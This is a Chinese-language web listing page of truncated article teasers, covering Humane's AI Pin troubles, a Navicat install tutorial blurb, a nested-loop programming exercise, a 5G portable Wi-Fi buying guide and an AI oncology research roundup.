Humane投入了五年时间研发一款旨在颠覆智能手机市场的设备&#xff0c;最终却可能以失败收场&#xff0c;该公司曾获OpenAI Sam Altman和Salesforce Marc Benioff的投资。 内容提要 1、Humane推出的AI Pin设备&#xff0c;近来遭到广泛批评&#xff0c;销量低迷。公司因此开始…

Navicat for MySQL 11软件下载及安装教程

软件简介&#xff1a; Navicat for SQL Server 是一套专为 SQL Server设计的全面的图形化数据库管理及开发工具&#xff0c;可进行创建、编辑和删除全部数据库对象&#xff0c;例如表、视图、函数、索引和触发器&#xff0c;或运行 SQL查询和脚本&#xff0c;查看或编辑 BLOBs…

双重循环、多重循环程序设计

双重循环格式&#xff1a; for(循环条件1){ 语句1&#xff1b; for(循环条件2){ 语句2&#xff1b; } } 例题1&#xff1a;输入一个整数n&#xff0c;输出一个n层的*三角形塔&#xff08;完成例1&#xff09;。 输入样例&#xff1a;6 输出样例&#xff1a; * ** *** **…

5G随身wifi上千元太贵了!高性价比5G随身wifi推荐,随身WiFi哪个牌子的最好用?

说到随身Wi-Fi&#xff0c;大家应该都不陌生。平时手机信号差网络卡顿&#xff0c;流量不够用&#xff0c;全靠随身wifi解决。现在&#xff0c;我们已经全面进入了5G时代&#xff0c;随身Wi-Fi也升级迭代&#xff0c;出现了支持5G的产品型号&#xff0c;网速更快体验感更好。但…

人工智能在【多模态:多组学+复发转移+肿瘤起源】的最新研究进展|顶刊速递·2024-06-11

小罗碎碎念 本期文献速递的主题是——人工智能多模态/多组学肿瘤的复发转移肿瘤起源。 今天的六篇文章比较特殊&#xff0c;大家要好好留心一下&#xff0c;因为选题是老板亲自下场定的&#xff0c;机会难得。 最近状态不太好&#xff0c;这周还要在北京待几天处理些事情&#…